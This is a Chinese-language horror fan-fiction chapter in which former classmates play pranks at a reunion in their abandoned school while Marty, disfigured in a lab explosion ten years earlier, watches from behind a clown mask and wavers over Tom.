“汤姆,你真好,之前哈里斯和特德来找我道歉,可是实际上并没有认真听我说话。”马蒂感动得眼泪汪汪。他还不至于笨拙到看不出哈里斯和特德两人的敷衍,说不伤心是骗人的,但是更让马蒂伤心地是,他发现自己为这个敷衍的道谢而感到慰藉。马蒂没有悲伤多久,很快联想到汤姆。 汤姆救了自己,如果自己连一个敷衍的道谢都给不出来,那他得多逊色啊! 于是马蒂鼓足勇气来找汤姆道谢。现在,马蒂真是太感谢十几分钟前做出这个决定的自己了! 他离开时还在高兴地咧开嘴,一个劲点头,恋恋不舍挪动着细碎的步子。 告别马蒂的汤姆立马去健身房,路上正巧遇上教练,两人一同来到健身房。推开门,教练惊讶得挑了挑眉。 许是知道这次过分了,众人难得乖巧地列好了队,这让教练有些欣慰,然而心情还没保持几秒,他目光往人群里一转,眼神沉下来,问:“哈里斯和特德呢?” 众人都说不知道,教练不置可否,冷笑一声后,让汤姆出去找人。 汤姆哪知道去哪个地方找人?好在他刚出门没多久,就见到哈里斯和特德两人勾肩搭背地走来。两人见到汤姆后,也知晓是多半是教练的吩咐,但还是嘻嘻哈哈嘴里没个分寸地戏弄着。 “砰。” 汤姆拉开门,哈里斯两人被吓得抖了个激灵,声音戛然而止。门一打开,三人就看到在一群做俯卧撑的人中,弗兰克最为显眼。别人是手臂施力,整个身体上下移动地做俯卧撑,唯有他是腰部施力,往下的半截身体剧烈上下起伏着。 粗俗而不堪入眼,弗兰克明显是想入非非了。 哈里斯和特德笑得动歪西倒。教练暴跳如雷,气得面色发黑,上去就是一脚踩在弗兰克的屁股上,恶狠狠地说:“停止做白日梦,你们这些性恶魔。” 趴在地上的弗兰克哈哈大笑,见汤姆视线转过来,他下意识收敛笑容,举起两手表示无辜。 惩罚结束,教练没许可,众人只好在健身房里继续休息锻炼。霍地窗户彭的一声,教练的质问和基普解释的话语混在一起,世界的声音变得嘈杂起来。最后基普自告奋勇去找是哪个坏蛋敢砸窗户,得到教练挥手的许可后,他欢快叫了声,步履轻快地一脚跨过在做仰卧起坐的弗兰克,推搡过好几人的肩膀,挑衅瞟了眼大家。 在众人的怒骂中,基普小跑出门。没过多久,就一无所获的回来。他看着还像是完成了一件大事儿似的得意洋洋,让教练没好气骂了几句。 房间内的欢愉声直到一声爆炸声响划破—— 汤姆猛地睁开眼,看到墙顶熟悉的天花板,放松地长舒口气。他坐起身,手扯出床边的纸巾,擦掉额头滚落的冷汗,又看了眼手机。六点。汤姆下床,去沐浴间洗漱。 梦到这一幕,他毫不意外。多年来,汤姆已经习惯在午夜中惊醒。明明只是一个见过一面的男孩,自己却始终放不下心,也许是最后一面太惨烈了吧。 当时爆炸发生后,他们闻声跑去,只见到一丛丛火星从实验室内冒出。十多分钟后在担架上的马蒂被医护人员抬了出来,他满身鲜血与烧伤般的焦红,露出的脸中半张脸被白纱布盖着,纱布下的五官伤痕累累。两眼紧闭,奄奄一息的好似睡着了,显得非常安详、平静。 这宗扑朔迷离的爆炸是怎么产生的?实验事故吗? 可惜,汤姆没能等到调查结果出来,就结束交换回国了。 马蒂是否活下来?如果活下来,之后又怎么样了? 这些问题成了一个困扰汤姆多年的谜团。就在两个月前,他收到了来自卡罗尔的邀请。这份邀请怎么会发给他?他觉得奇怪,这个邀请很快换了好几个人,最后这一封,是马蒂发来的。 恰在此时,汤姆又接到了来多兹维尔镇出差的工作。他拒绝不了,是非去不可了。 马蒂怎么样了? 汤姆很想解开心里的这个谜团,哪怕可能会付出一定的代价。 来到约定这天,汤姆车上电台主持人还在语气热情地讲着:“......天气是可变而潮湿的,好消息——多兹维尔电台会一直陪着你。愚人节也快到了......” 开到一半抛锚了,他措手不及地下车,蹲在车轮旁,两目茫然地看着汽车。 抛锚该怎么办?他拿出手机,捣鼓了一阵子后,无奈地发现,现在迟到已经不是个问题了,真正的问题是会迟多久。 与此同时,废弃的多兹维尔学校旁,几辆车停靠在路边。众人前脚跟后脚的赶到,纷纷走下车,给多年不见的好友们一个用力的拥抱亲吻,嘴巴还在寒暄,面上的笑容是那么坦诚爽直。 “卡罗尔!” “吻我,快吻我!” “你现在在哪儿?” “法学院。” 气氛一下拉回十年前他们还亲密无间的时候。这群人中除了乔伊和斯特拉结为夫妻,其他人至今未婚,仍保持单身状态,若是谈到原因...... “你们说他会来吗?”苏珊问。 “他就来了几个月,连咱们的毕业晚会也没参加,来这儿做什么呢?”基普理智地说。 “也是,我们当初那么戏弄他......”南斯有些难受。 “喂!喂!那是戏弄吗?我们明明只是过于热情罢了。”哈里斯反驳。 忽然,一个人骑着机车迅速地疾驰而来,横冲直撞的,泥地上留下了深厚的车辙印。基普吓得两只手从兜里伸出,猛地往后一跳。在这可怕的嗡嗡的轰鸣声中,众人匆忙往路两旁躲避,潮水似的退散开来。刚站定,就见这辆机车一个转弯失去平衡,狼狈地栽倒进草坪,穿着一身黑色机车服的男人顺势滚到一旁空地上,仰面朝天地躺着。 这似曾相识的场景,若有若无的熟悉感,基普等人心里已经有所猜想。他们走上前去,聚拢在黑衣男人四周。待黑衣男人脱下头盔,嘲笑声肆无忌惮地起伏。 “看在基督的份上,弗兰克,你想干什么?杀了我们?”哈里斯抱胸挖苦道。 “哦,伙计,别这样。”在辩解中的弗兰克被基普和特斯拉扶起。 斯特拉问:“你还好吗?” “当然,斯特拉......” “你过得怎么样,大男孩?”也不等弗兰克说完,一身貂裘、穿着华贵的斯特拉神情激动,旁若无人地拥抱弗兰克。 弗兰克尴尬地举手推开,说:“让我呼吸。”从某种程度上来说,跟特斯拉的拥抱差点把他闷死。他自然地转移话题:“谁有啤酒?” “老弗兰基啤酒,你要吗?”卡罗尔笑。 弗兰克大为感动,发出夸张地叫唤声,被其他人你一句我一句得埋汰个不停。 他们在打闹怪叫,恣意的喧哗声穿过楼层。透过一层窗户,罩着小丑头套的人看得清清楚楚。他歪了歪头,身体更进一步贴在窗户上观察。 吵闹的人群中有人脱离队伍,往左走离开了窗户的视野,小丑跟着往左边的窗户移动,却没见着人的他正要往窗户上靠,一张脸唰的出现在面前,小丑赶忙后退几步。 “里面什么也看不到。”哈里斯松开握着窗户铁栏的手,皱着眉说。 “这个地方什么都没变啊,伙计。”基普抬头打量着,他的感慨得到了众人的附和。 当众人结束在门口的逗留时,天色已经不早了,基普和弗兰克自诩是男子汉大丈夫,径直走在前探路。天黑得快,刚才还泛着白光的天空阴沉沉,冷冽的寒风搅动得树叶簌簌作响,一副要下雨的架势。 卡罗尔和苏珊见状加快步伐,缀在后面乔伊和斯特拉挽着手不紧不慢的,任由哈里斯、南斯和特德跟着提速超过他们。穿过草坪,他们来到教学楼下,卡罗尔拉开大门,一个面带曲棍帽的人猛地跳到众人跟前。 猝不及防间,众人尖叫:“啊!” 12. 新电影02 屋外的月光透过敞开的门,洒在伸着鹰爪般两手的曲棍面具人身上,正在尖叫声此起彼伏时,突兀的狂笑响起。 “哈哈哈哈哈。” 基普从摘下曲棍面具的弗兰克身后走出来,瞧着目瞪口呆的好友们,捧腹大笑,被他当作支撑的弗兰克唇角微翘。 为了衬景,两人特意拿了手电筒的给自己配了个自下而上的光照,力求众人清晰欣赏到曲棍面具的威风。此刻灯光将基普睫毛落下的阴影衬得很长,添了几分怪异的阴柔。 “基普!?弗兰克!?” 弗兰克反问:“不然你们以为是谁?杰森?”他皮质黑衣在光线里镀了一层微薄的光泽,端正英俊的脸上戏谑十足。 “愚人节快乐!”两人嘻嘻哈哈地道出原因。 惊吓已经变成愤怒,众人毫不客气地骂出声。基普和弗兰克全盘接受这些唾骂,说话的声音在其他人因愤慨而高亢的语调中都显得好声好气起来,但是倘若这时看他两一眼,那股愤怒只会更绵长。 “愚人节没有开始——直到午夜。两位聪明人。” 还是卡罗尔略带讥诮的话刺破了他们脸上挂的那副漫不经心的表情,他们开始像不服气的小孩一样大呼小叫,这搞得其他人火气噗的一声熄灭了。 哈里斯埋汰了句:“所以,怎么会有些搞不清楚的傻子他妈的一直等在这里?” 之后,这件事儿就被他们默契地翻篇了。毕竟只是个玩笑,谁要是对它严肃,那就可笑了。 众人恢复有说有笑,走过走廊,刚来到楼梯口—— “轰隆轰隆。” 雷电伴着闪电突然作响,吃惊的人们顿下脚步,也正是这时一块天花板径直从旋转楼梯上掉落,砸在地面,发出结结实实的一声嘭响,溅起的灰尘让众人抬手捂鼻,仰脸却难以透过一片昏暗看清楼梯上的状况。 是意外吗? 斯特拉脑袋绕了圈没发现什么,嘀咕:“看起来像是专门等待我们掉下来一样。” 卡罗尔将矛头指向基普:“感觉会是基普做出来的奇怪玩笑。” “好了,你们。”见伙伴们还真觉得这句话可信,基普赶紧矢口否认,“我可和它没关系。” 一旁哈里斯正手指捏着从扶手上捡起的东西,好笑地和弗兰克分享:“蜘蛛网。”听到基普的话后,两人一同偏移视线面向弗兰克。 “你开玩笑的吧。”哈里斯不信。 特德拍了把基普臂膊,啧啧地说:“伙计,你病了。” “行,看在基督的面上,是我做的。”基普朝特德摊手,嘴里阴阳怪气:“是我把这一切都安排好,只为了砸死我们中的一个,对,该死的包括我自己。” “满意了吗?” 基普看向众人,却只收获了斯拉特的叫喊:“不!” 实际上她压根没听基普说的话,一直在观察四周的斯特拉额头上都快冷汗直流了,面色慌张:“不行,我要走了,卡罗尔,我要和你在一起。” 说着,斯拉特朝队伍最后方的卡罗尔奔去,略过南斯时带来一阵风。 卡罗尔是他们一行人中最冷静最靠谱的那一个,她拥抱安慰着斯特拉:“是的,这个地方让人毛骨悚然。” 至于斯拉特的丈夫乔伊,他仰头笑眯眯地看着窗户外的闪电,然后转过身,揽住南斯肩膀,说:“让我们去找旧教室怎么样?” 乔伊手掌的热气驱散了斯拉特带来的凉风,同样害怕却落后斯特拉一步的南斯便没有推开。 “好主意!”基普兴致不低。顺着乔伊的话,他一边对众人提议,一边走上楼梯:“为什么不在这儿等待风暴过去呢?” 弗兰克晃着啤酒,和哈里斯对视一眼后耸耸肩,说:“管他呢。”他两向来与基普沆瀣一气,这时也相继跟上。 “哦,是的,为什么不呢?”卡罗尔赞同地说。她作为女孩们的领袖,做出的决定有时甚至能左右苏珊三人。这一次也毫不例外,南斯、苏珊和斯特拉选择支持卡罗尔。 乔伊见众人都没反对他的想法,乐呵呵地和特德一同跟在南斯后面上楼,卡罗尔和斯拉特垫后。 脚步声混着楼梯地板的咯吱声,众人一时安静下来。 仿佛有更多的阴风扑到脖子上了。南斯胆子本来就不大,之前人群吵吵闹闹让她忽视掉昏暗的建筑,现在看着地面一寸寸落下去,她陡然有一种失重般的晕厥感,周围的所有愈发狰狞可怖。她发着抖,曲肘搓着手臂上的鸡皮疙瘩:“耶稣,这可真的有些像万圣节。” 同样察觉四周阴森气息的乔伊却是神情亢奋,激动地甩着手里拎的曲棍面具,冲基普大声喊:“基普,这真的很棒!” 落在他身后的特德则回应南斯道:“是的,你会被枪杀,然后收起来。” 还不如不回应呢!南斯忿忿不平地想。 斯拉特也听不惯男生们的玩笑话。她裹紧了毛绒绒的裘皮披肩,勉强镇定地说:“我只待五分钟。” 闪电的光在楼道里闪着,外面已经风雨大作。昏暗的光线照在破旧的墙壁上,众人小心握着扶手,爬上楼梯,来到曾经熟悉的楼层。他们避开地面灰暗的不明污迹,穿过破败不堪的走廊,穿过结着蜘蛛网的一扇扇窗户,穿过头顶的灯。白炽灯落下的光也穿过他们,目送一道道鲜活的人影走进教室、走进黑暗。 “你们谁能把灯打开?”斯特拉在黑暗中叫道。 咔哒一声,哈里斯按下灯的开关,教室亮堂起来。蓝色、白色和红色的小旗子挂满墙壁四角,白色横幅上写着“WEE BACK”,公告栏除了张贴有一幅世界地图,还整齐粘好所有人的画像。桌子上备足了狂欢所需要的一切,饮料、酒、小吃应有尽有。 和方才经历的残破相比,眼前这幕让许多人眼前一亮。 站在最前方的斯特拉惊叹一声后,肉眼可见的变得欢悦:“这让我想起了舞会之夜。”她挽过身旁丈夫的手,兴致勃勃地问道:“不是吗?乔伊?” 目不转睛注目教室的乔伊分出心神回应:“没错,亲爱的。” 唯有敏感的南斯觉得不对劲,她走到教室中央神情焦灼,回头看向众人:“你们不觉得很恐怖吗?” 没人理她。 已经被这副庆祝打扮迷惑住的众人怎么听得进去南斯扫兴的话?要知道,这些准备也是笔不轻松的钱。 “嘿,我们有食物和饮料,我们有了一切!”弗兰克精神抖索,他侧身从乔伊与柜子空出的小缝里走出,说着将话抛给基普:“这一定让你退缩了,基普。毕竟,这可是一笔财富。” “你知道的。”基普一身浅灰色西装,毫不在乎地笑:“我确实退缩过。” 他两侧的斯特拉和特德友好地拍了下这位大方而又仪表堂堂的伙伴,基普则抬手接过弗兰克扔来的啤酒。然后弗兰克拿起桌上另一罐啤酒拉开扣环,仰着头一饮而尽。 “伙计们,我想我们完全可以开始......”正在提意见的苏珊,话题陡然转变:“那不是马蒂的柜子吗?”她目光不错地落到教室边的储物柜上。 空气瞬间沉默下来。 众人神色各异,视线不约而同聚集在长条形柜子上。柜门上满是涂鸦,旁边墙壁用皮筋黏住象征着自由的美利坚旗帜。 马蒂啊...... 他们心里默念。 “怎么你想看?” “别了吧。” 对于伙伴们的犹豫争论,苏珊没听到似的走近柜子。柜门刚拉出点缝隙,忽然窜出的老鼠,吓得苏珊面容失色,撞入身后哈里斯的怀中。哈里斯两手扶住她的臂膊,见苏珊站稳后,才将手插回兜内。 在柜子旁的基普接过苏珊的工作,为大家拉开柜门。门背后贴了张马蒂的黑白相片,白衬衫,打了个领带,反光的眼镜没有遮住他眼里的清澈傻气,配上嘴角咧出的腼腆笑容,整个人像是一只会讨好卖乖的小狗。你只要顺顺他的毛,他就会甩着尾巴欢快地追逐。 有了十年前那场事故的惨烈记忆对比,众人瞧着照片上马蒂还完好无损的脸,都觉得顺眼多了。 基普伸手拿出最上方的隔间里的东西,惊呼:“马蒂的年鉴?天哪。” 特德和哈里斯一听,相视而笑。 本来在墙角和斯特拉享受着木桌美食饮料的弗兰克停下饮酒,说:“打开它,”他笑道,“我猜,这个小傻瓜从来都没有得到过它。” 众人好奇地凑近,基普翻开这本毕业年鉴,每个人的照片一一出现。张张稚嫩快活的脸蛋,勾起人们无尽的遐思。大家目光怀念地看着照片中青春快乐的自己,心情变得放松,直到他们翻到马蒂那页。 身量高挑的卡罗尔从后方伸出手穿过人群,“他没有领到那个奖,对吧?”她的手指抵在白纸上,在马蒂照片下的一行字上划过——“Berners Chemistry Prize”。 了解情况的基普点点头:“他们直接把他带去医院,做了六个月的整形手术。” “他康复了吗?”南斯担心地问。 基普看着南斯,“不,当手术结束时,他看起来还是一团糟。”他叹了口气,指腹捻着纸,瞧着马蒂照片的视线中流露出同情,“无论如何,重要的是医生说他永远都不会健康了。”基普放下年鉴,唏嘘地说:“很难再次成为人。”手指了指大脑:“他的精神变得不正常了,很糟糕。” 卡罗尔撇过头,和同样于心不忍、心生愧疚的苏珊对上视线,弗兰克抿唇。 反倒是特德龇出了一口白牙:“没有死掉? ” “是的。”说这话时,基普背对着大家无声怪笑,等他转过头,神情已经再严肃不过了。 “你们难道不知道我们把他,马蒂,从一个可爱的小家伙变成了一个彻底的疯子。”基普眼神锐利、声音铿锵,眉弓骨处挂的两条黑而粗的眉毛,让基普面庞是如此的正义凛然。 众人不适应地看着似乎为马蒂打抱不平的基普。 “你们知道吗?”基普的目光从众人身上掠过,掷地有声地说:“他们说他一直在疯人院里游荡,希望离开疯人院,”他情绪越来越激烈,不想和众人为伍似的一步步后退,说话间带动脸上的肌肉抽搐般地挤出悲愤与痛心的表情,“回到这里,回到他曾经的学校。”退到门口的基普在背后白炽灯光下,气息冷漠,那利刃似的视线同陡然拔高的语调一起,要捅破众人不堪的遮羞布似的,“这样他就可以对我们所有人开展邪恶的报复。” 基普怎么了?马蒂?复仇? 众人呆滞地看着半边身子藏在门后的基普,基普说的话大大超出意料,他们正被唬得心里发憷,蓦地基普头上冒出一只手。所有人还没看清,基普就被扯住头发拽走了。 “Fuck!” 众人吓得又是尖叫又是身体后仰,连弗兰克也不例外。哈里斯闭眼,他有点不堪忍受—— “哈!” 基普两手扒门冒出个头来,微笑着打招呼。 惊吓的表情凝固在所有人脸上,下一秒随着脱口而出的痛骂,一个个脸庞都气得通红。南斯的害怕也都被基普这超出常理的玩笑给吓得,啪的一声变成恼怒的柴火,在胸腔里丛丛燃烧。 “你真的没那么好笑,根本就是笨蛋!”卡罗尔翻了个眼,讥讽道。 “来吧,放松,伙计们。”基普试图收敛笑意让自己显得正经严肃,然而落在众人眼里还是那副嘻嘻哈哈样:“我听说马蒂加入了IBM,他已经忘记我们了,相信我。” 他解释时顺手关门走进教室,将嬉笑怒骂声都堵在门内,只隐约留了点余音溜到走廊。晦暗寂静的走廊刚因为这点笑声而褪去几分阴森,就见灯光闪烁,一个人影陡然出现。他的头歪向一侧,仿佛在思索什么,然后影子的主人迈开了步,灯光便将行走中的影子无限拉长。 倏地,他似乎有所感知,将视线投向风雨大作的屋外。本来黑暗的废弃学校门口亮起车灯,光亮穿透雨幕被小丑捕捉。他朝窗户走进,被拉扯成细条的黑影也随之慢慢缩小,直到与走到窗户前的小丑身形相仿。 夜风刮过树枝带着刺骨的湿意,同飘进窗户的雨丝打在小丑露出的皮肤上,冰凉凉的—— 可是为什么,为什么......小丑身体忽然颤抖起来,呼吸也粗重了。 他的肌肤却滚烫得仿佛回到了十年前的夜晚!? 空气都稀薄下来,窒息感压迫胸腔,催促大脑每一寸神经发出呼吸的指令。小丑裸露的手背和一点脖颈出现狰狞青筋,而在火海里、在肌肤灼热的剧烈的痛感里无能为力,直至余光瞥到因突起而更加狰狞的伤疤,他陡然惊醒,从虚幻的火海记忆中抽身回归现实。 已经不一样了,一切都不一样! 从某次手术醒过来后握着针管杀死马蒂的那天,他迎来新生。 他活过来了,从一次次失败手术的浑浑噩噩中活过来了;他也将活下去,以一个丑陋的穷凶极恶的恶鬼姿态活下去。 那个懦弱的愚蠢的马蒂死了!早就死了!死了死了死了死了—— 应该是这样才对啊...... 小丑握紧了布满疤痕的手,可是一直到现在看到汤姆,他才泪流发现马蒂从未死去。四肢沸腾的血液蜂涌入心脏,心跳得像擂鼓一样。眼睛因紧盯而发涩,泄露出由痛苦、怀念、憎恨夹杂而成的扭曲感情。 我还下得了手吗? 小丑本想杀死汤姆,将他和马蒂、和曾经一起埋葬。可是马蒂却只希望汤姆看一眼可怜的他,哪怕是一个余光的眼神;又害怕汤姆发现他的可怜,哪怕是一点发丝的痕迹。 隔着铺天盖地的雨幕,马蒂在重重顾虑中,和汤姆对上视线—— 小丑? 汤姆还未看清,人影一闪而过。 那是谁?汤姆有些迟疑,是早来的基普他们吗? 雨水滴落袖管流入小臂的凉意,让汤姆没空思索,顶着衣服跑入楼宇避雨。离开了劈头盖脸的风雨,汤姆手臂、大腿处湿漉漉的,他两手拧了拧衣服,直到不再渗出水后,才打量起四周。陌生破败的建筑让汤姆有些无所适从。离开太久,他已然忘却这儿的地形,只能一边脑海里搜刮着稀薄的记忆,一边在缓步前行。 忽然,汤姆停住脚步,走廊前方挂着马蒂的等身画像。画像上马蒂笑得直冒傻气,汤姆不由想要靠近细看,就在一步之遥时,身体警觉地疾速后退。那一刹那,画布突然撕破伸出的两只手,与汤姆衣衫擦肩而过。 几滴从汤姆头发流下的水滴落入指尖。那双手的主人指尖摩挲,水滴融入指腹。一声喟叹在走廊响起,身体里嚣张地在血管中突突横跳的血液似乎得到安抚而沉寂下来。 楼上,不知道这场本就不单纯的同学聚会已经逐渐拉开血腥一幕的众人还在教室内狂欢,用美利坚青年们聚会时不可缺少的某种让人体验到天堂般极致快乐的潮流东西。 哈里斯穿着一件黄蓝相间的浅色衬衫坐在凳子上,铂金色的头发打了蜡梳理得规规整整。他深深吐出一口烟圈:“Good shit!”然后将烟递给身侧沙发上的伙伴们。 拿着小盘子的卡罗尔瞟了眼后摇摇手,她吸不惯哈里斯烟里的料。苏珊则拿起来嗅了嗅,淡淡的奶香味扑进鼻子里,她赞许地看了眼哈里斯,后者抬手做请。 卡罗尔也将手里的东西交给基普。 “这玩意儿要钱。”话是这么说,基普利落接过来,将小吸管伸进鼻子,一只手按住另一边鼻孔,深吸一口后,他闭着眼瘫倒在沙发上。飘飘欲仙的状态,让他一个劲地感慨:“当你兴奋时,时间过得真快,伙计。” 一只手啪的按在他肩膀上,骤然从享受中脱离的基普反常沉默地看向来人——是南斯。 她说:“我想去厕所,” “所以?” 基普掀唇,少见的有些不耐,南斯便将乞求的目光看向弗兰克:“那里令人毛骨悚然,我想有人陪我一起去,” “别看我,记住? ”弗兰卡瞥了眼南斯,看向沙发,和基普意味深长的对视了一眼,嘴里冠冕堂皇地说:“女生更衣室里没有男生。” 接连被拒绝的南斯表情开始挂不住,卡罗尔贴心地出来解围。在两人将要携手出门时,基普和弗兰克故作关切地嘱咐:“小心鬼怪,女孩们。” 卡罗尔和南斯遇没遇到鬼怪不知道,但是汤姆却遇到和见鬼一样怪异棘手的事件。 楼下,汤姆黑眼睛充满警惕,攥紧的双手就等着恰当时机去挥拳攻击。 就在这番对峙中,那双手动了。 它先是五指摊开挥了挥,像是在展示自己没有武器毫无威胁,然后捏成拳头并靠,轻轻碰了碰后,从蜷缩的手指缝隙中抽出了什么东西。 待看清后,汤姆微不可察的心头一跳——是去了刺的玫瑰。 这是什么意思?他好像在等我接过来? 汤姆伸出手,作势要接过玫瑰,在即将碰上时,快捷抓住画布裂出的缝隙,一把撕开,头戴三角帽的小丑就这么出现在汤姆面前。 小丑受惊似的耸肩缩颈,下意识将花枝一丢,准头好到正巧落在汤姆头上。蓬松黑发上那抹艳丽的红,花瓣沾上水,汤姆的发顶也是潮湿的,一幅本该是像从水中出来落魄的模样,被衬得生气盎然。 小丑愣了愣。这一刻,他不再是为了复仇潜心等待多年的小丑,他是马蒂,也只会是马蒂。 直到汤姆试图抓住他,马蒂才找回神智,掩面逃离。 汤姆没有追上去。他从头发里拿下花,玫瑰甜美的馨香绕在鼻尖,他又抬眼看着画布后空无一人的走廊,最后转身离开。 躲在转角的小丑扯下头套,一张恐怖骇异的脸暴露在空气中,布满烧痕的半张脸皱纹横生,与小半张完好的面庞一起,愈发触目惊心。他笑得像一条鬣狗露出牙齿,瞪大眼睛的冒出红血丝。然而这一切,眼睛的发涩、胸膛的起伏,他都觉得是愉悦的。听到脚步声渐渐远去,他才慢慢探出头。 没看到玫瑰。 马蒂眼前一亮。那一刻眼睛迸射的纯澈光亮,能让人忽略掉他宛若恶鬼的面容,甚至联想成美丽与毁灭并存的艺术品。 多兹维尔中学建筑在设计时充分利用几何,构造出千回百转的奇怪路线。弯弯绕绕的走廊,像是蜘蛛网一样三两联通。汤姆兜了好几个圈子后,隐约听到脚步与说话声,于是他顺着声音,走过转角,左侧的教室内灯光大量,随着走进,谈笑声也更加明显了。 教室里十年不曾见过的青年们在欢聚,男声女声此起彼伏。汤姆走进门,靠在门侧的哈里斯还以为卡罗尔她们回来了,刚要出声却发现是意想不到的人。他一下腰背又硬又直地杵在哪儿,什么俏皮说都说不出。 汤姆扫视了全场,乔伊和斯特拉在忘我的拥抱,苏珊吸着烟,和他对上眼神的特德走了过来,夸张地高呼:“天哪,看看这是谁来了?” 声音吸引了全场的视线,汤姆瞬间成了焦点。 “太久不见了。”特德说着想把手放在汤姆肩膀,瞧见汤姆盯着他手的不善表情后,默默转个方向搭在哈里斯肩上,嘴巴不停:“你现在怎么样?” 他的发型不像哈里斯精心打蜡,略显随意的散了一缕在额前,衬衫扣子解出三四颗,露出胸膛,如果面庞能少一丝圆润,他动作的会更潇洒。 苏珊、乔伊和斯特拉也都聚拢来,一言一语,他们态度友好甚至殷勤,十年前的恩怨有太过于久远,不曾吃过亏的汤姆也从未放在心上。对于哈里斯一行人的热情,他不再冷言冷语,以一种对陌生人的礼貌,偶尔回个声。 而这边来到洗浴间的南斯,开玩笑地说:“我快要爆炸了。” 卡罗尔稳重地按下开关,沐浴间的白炽灯闪亮。南斯将包挂在一旁生着铁锈的挂钩上,正要走进隔间,突然隔间的布帘被一把掀开,露出两副张牙舞爪的面孔,活像龇着牙留着一口涎水的两只鬼怪。 两只“鬼怪”乱嚎了几下戛然而止,嘴巴张得老大,哇哇叫地指着南斯裤子。 “你们两个混蛋!白痴!”南斯咬牙切齿地说,她本来还算标志的脸蛋因为愤怒而变形。她看着自己湿掉的裤子,一时间恨不得杀了这两个嬉皮笑脸的家伙。 “你们两能长大吗?”卡罗尔扶额。 “哈哈哈哈快擦干,姑娘们。”两人靠在门上,假惺惺地说。他们完全没想过压一压快飞起来的嘴角,勾肩搭背地关上门,乐得边走边扭头,仿佛透过门见到了无措羞恼的南斯。 “她叫什么名字来着?” 边说边回头的两人,一张脸猛地凑上来。 “啊!”两人急促的叫出声,吓得下巴都快掉到地上,震颤的瞳孔定睛一瞧——是多年前的管道工,面无表情地说:“你们这些孩子是怎么回事?这是非法入侵!” 两人回过神来,情绪立马从极度惊骇变为沉郁怒火,基普瞪着眼,他心脏仿佛跳到嗓子眼,现在还没缓过来,所以他默然撇过头,听着弗兰克气恼又讥讽地说:“伙计,别这样。你差点给了我一个冠状动脉!” 弗兰克的打岔,管道工没理睬,他继续训斥:“你们是谁?来这做什么?这可不是你们该来的地方。这个地方已经荒废了五年。不管你们是谁,现在都赶紧离开。” “别这样,我记得你,看门人。”平复好心情的基普套起近乎来:“真没想到你现在还在这儿。” “我当初可不是看门人,现在才是。”曾经的管道工,现在的看门人强调道。说话时,他看着基普的面庞,越看越熟悉。 “我还记得你,男孩。”看门人撇撇嘴,抱怨地说:“你可真是个讨厌鬼。” “哦?”基普不觉得羞耻,反倒引以为傲地说:“我想我是一个非常棒的人。” “好吧,看来你并没有太大的改变。”对于基普的反应,管道工并不意外。人的本性是很难改变的。他忽略这个话题,提醒道:“回去吧,不要乱闯。” “伙计,放松。或者,来杯啤酒?” 管道工在短暂的犹豫后,爽快地接过。自从五年前他成为看门人,一直守着这个荒凉的学校,偶尔去小镇中心采购时才买点烟酒眼馋。弗兰克的讨好可谓是恰到好处。收了东西的管道工语气缓和了:“谢谢。” 见这招有用,弗兰克和基普表情更真诚了。多年过去他们已经不再像年轻那样冲动、斤斤计较,随便一点星火就能点炸而且经久不息,他们日益圆滑的性格更加八面玲珑,能好声好气解决的事情不必过多纠结。 所以,他们就像告别好友似的,对几分钟前吓到他们且语气不善的管道工亲亲切切地祝福:“晚安。照顾好自己。”不管自己心里实际上有多鄙夷不屑,他们面上是无可指摘的。 “好的,孩子们。”管道工心里更熨帖了。 这群调皮孩子还是长大了。他感慨着和基普、弗兰克挥手作别,拿着酒瓶穿过两侧一间间空荡的房间,这些曾经都是人满为患、四处欢声嬉闹的教室。如今都随着时间的流逝,像长大的基普和弗兰克一样变了,门上的挂钩生锈,角落挤满灰尘,开裂的墙壁往尘土堆里洒下墙壁屑。 他莫名有些伤感,便打开酒瓶闭眼灌了口,一股温热的熏熏然从胸膛延申开,于是他变得惬意,闭着眼享受地再喝了口,砸吧着嘴放下酒瓶时,眼里突然冒出一个披散白发、挤满皱纹的小丑。 “上帝啊!”看门人吓得身体僵直,差点丢掉酒瓶。他可算是体会到几分钟前基普和弗兰克的感受了。 小丑戴着赤红和橘黄色构成的三角帽子,两角和抿紧的嘴唇翘出诡异的弧度,眼睛处挖了两个小洞,反着光的眼珠骇人。 但是在看清楚小丑头套下是一个穿着夹克、衬衫打上领结的人后,管道工肩膀一下塌下来,疼惜地抱着酒瓶,人站不稳似的摇摇晃晃:“调皮鬼,我想我告诉过你们,孩子们,”他严肃地说:“别惹麻烦!” 而他以为的调皮鬼们,此时除了南斯和卡罗尔,一个不落的在教室里。 回来的基普和弗兰克见了鬼似的杵在门口,惊疑不定地打量着汤姆,连哈里斯和特德的嘲笑也没管了。 已经等了基普好一会儿的汤姆举起花,问:“是你给我的吗?”刚刚问了哈里斯,基普弗兰克他们在汤姆来之前就出去好一会儿了。并且这个小丑头套他就见基普戴过。 基普当然没做过这事儿,他哪儿知道汤姆会来?但是他没否认,模棱两可地说:“怎么样好看吗?其实想找这么一株漂亮的衬人的玫瑰可不容易。” “还你。”似乎哪里不对?汤姆说不上来,见其他人也没有反对,汤姆便把玫瑰还给基普。 基普更不可能拒绝了,笑哈哈地接过。唯有对他知根知底的弗兰克怪声怪气地说:“真不可思议,基普你还能买得起玫瑰?” 弗兰克的嘲讽,基普全当耳边风听过了。 “马蒂怎么样了?” 汤姆的疑问,基普迟疑了下,便被特德抢先,哈里斯和弗兰克一句接一句地补充,用的都是基普之前和他们说的信息。 “嘿?伙计,你们这就不友好了吧?”嚷叫着的基普无人在意。 众人手舞足蹈,每个人都在肆意玩闹。小蜡烛还亮着,桌面上的食物饮料已经被众人挥霍一空,只余狼藉。烟灰缸四处都是烟头,瘪掉的硬料罐随意丢在桌上,没吃完的面包片、蔬菜零零散散摆着,碗里只余下一点点沙拉菜,酒杯里还残留有红酒。 “基普,想要十美元吗?” 基普和汤姆聊着,一脚潇洒地架在扶手上,听到南斯的话,他摊开手说,“南斯,别这样,你可以免费得到我......”他突然想起身边的汤姆,连忙解释:“我的意思是,你可以免费得到我的效劳。” 南斯没管他的谑语,直切主题:“看到这个漏斗吗,你要做的就是把硬币从你的头上扔进这个漏斗里。” “你在开玩笑吧?” 看出了基普的不屑一顾,南斯轻声地说:“这可不简单。” 卡罗尔随声附和,伙伴们的视线都落到基普身上,汤姆也不例外。本来可有可无的基普察觉到被汤姆注视后,胸膛一下涌入一种非答应不可的决心。于是他站起身,整了整衣领,自信地说:“小菜一碟。” 基普往前跨两步,走到教室正中间勾勾手,南斯走过来,把漏斗根插进基普正前方的裤子里。基普下意识往后一瞧,汤姆果然是一言难尽的神色。他抓了下头发,说:“嘿南斯,你可没说过要这样放漏斗?” “怎么你要退缩了?”背着手和苏珊一起凑近围观的卡罗尔反问。 